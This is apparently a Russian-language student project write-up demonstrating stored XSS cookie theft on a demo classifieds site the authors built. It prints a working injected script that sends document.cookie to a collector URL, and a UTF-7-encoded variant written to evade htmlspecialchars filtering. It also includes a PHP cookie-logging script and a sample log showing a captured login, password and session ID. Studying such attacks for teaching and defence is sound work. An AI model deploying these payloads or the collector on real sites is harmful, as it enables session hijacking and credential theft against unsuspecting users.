XSS cookie stealing.

advertisement
XSS cookie stealing.
В нашем проекте исследуется XSS уязвимость на примере взлома сайта с авторизацией и
воровства cookie.
Немного о XSS (from Wikipedia)
XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости
компьютерной системы, используется при хекрской атаке Специфика подобных атак
заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый
сервер в качестве средства атаки на клиента. XSS-атака обычно проводится путём
конструирования специального URL, который атакующий предъявляет своей жертве.
Иногда для термина используют сокращение «CSS», но чтобы не было путаницы с
каскадными таблицами стилей, используют сокращение «XSS».
Условно XSS можно разделить на активные и пассивные:


при активных XSS вредоносный скрипт хранится на сервере, и срабатывает в
браузере жертвы, при открытии какой-либо страницы зараженного сайта;
пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого
сайта, либо он не может автоматически выполниться в браузере жертвы. Для
срабатывания пассивной XSS, требуется некое дополнительное действие, которое
должен выполнить браузер жертвы (например клик по специально
сформированной ссылке).
В качестве сайта-жертвы нами был написан простой ресурс по размещению
пользовательских объявлений. (http://calumetregional.org/)
Сайт использует механизм авторизации и поддерживает http-сессию с клиентом при
помощи файлов Cookie.
В своём примере мы используем нешифрованные cookie, но это непринципиально,
злоумышленник может использовать любые похищенные Cookie, прикрепляя их с
помощью специальных программ к http-сессии и выдавая себя за другое лицо.
После того, как злоумышленник убеждается, что ресурс по размещению объявлений не
защищён фильтрами вводимой информации, он размещает в теле нового объявления свой
скрипт, к-й содержит обращение к ресурсу с размещённым скриптом по сбору
информации из cookie. Использование javascript-объекта Image позволяет избежать
явного редиректа на страницу злоумышленника.
Внедряемый скрипт:
sss</title><script>img = new Image(); img.src =
"http://calumetregional.org/frog.php?"+document.cookie;</script>
Теперь рассмотрим модификацию приведённой выше атаки: пусть администратор ресурса
по размещению объявлений установил фильтр на спецсимволы ">/<" (см. функцию
htmlspecialchars() в index.php). В этом случае будем вставлять скрипт в кодировке
UTF-7, полагая, что браузер, заметив её, будет использовать encoding auto-select. В
результате наш скрипт обходит фильтр и выполняется на клиентской машине
Внедряемый скрипт в UTF-7:
sss+ADwA-/title+AD4APA-script+AD4A-img +AD0A- new Image()+ADsA- img.src +AD0A+ACIA-http://calumetregional.org/frog.php?+ACIAKw-document.cookie+ADsAPA/script+AD4APHP-скрипт по сбору cookie:
<?php
$fp=fopen("log.html","a+t");
fputs($fp,"
Время: ".date("[D d/m/Y H:i]")."<br>
IP: ".$_SERVER['REMOTE_ADDR']."<br>
Откуда: ".htmlentities($_SERVER['HTTP_REFERER'])."<br>
Браузер: ".$_SERVER['HTTP_USER_AGENT']."<br>
QUERY_STRING: ".$_SERVER['QUERY_STRING']."<br><br>
");
fclose($fp);
?>
Злоумышленнику остаётся только заходить на страницу http://calumetregional.org/log.html
и просматривать украденные cookie
Время: [Fri 23/05/2008 17:03]
IP: 217.67.117.64
Откуда: http://calumetregional.org/?id=14
Браузер: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1; SV1) ; Embedded Web Browser from: http://bsalsa.com/;
InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
QUERY_STRING: login+AF8-cookes+AD0-frog+ADs-%20pass+AF8-cookes+AD0qwerty+ADs-%20PHPSESSID+AD0-a79103c54dcb5671f8c0d2219fedd7bc
Download